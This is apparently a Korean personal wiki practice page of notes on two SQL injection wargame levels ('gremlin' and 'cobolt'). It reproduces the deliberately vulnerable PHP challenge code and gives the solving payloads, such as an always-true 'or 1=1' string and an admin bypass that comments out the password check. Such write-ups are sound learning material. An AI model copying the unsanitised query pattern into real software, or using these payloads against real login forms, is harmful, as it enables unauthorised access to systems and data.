사용자:RYOOON/연습장
- 워 게임 사이트
- https://m.blog.naver.com/dsz08082/221364537842
- SQL Injection
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("gremlin");
highlight_file(__FILE__);
?>
해결 방법 -$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; Query 문 해결
- id에 admin 혹은 기타 값을 넣고 pw 하단을 주석처리하여 Query 문을 무력화 시킴 - id=RYOON&pw=1' or '1'='1 - SQL Injection <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id'] == 'admin') solve("cobolt"); elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; highlight_file(__FILE__); ?> 해결 방법 - php 소스 코드 중 ' if($result['id'] == 'admin') solve("cobolt");' 구문을 보면 id 만 검사하는 것을 확인할 수 있음. - Query 문을 ID = admin 으로 설정 후 pw 검사를 하지 않도록 id 쪽에서 True Query를 만들어 pw 검사하지 않도록 설정 - ?id=admin'or'1'='1#'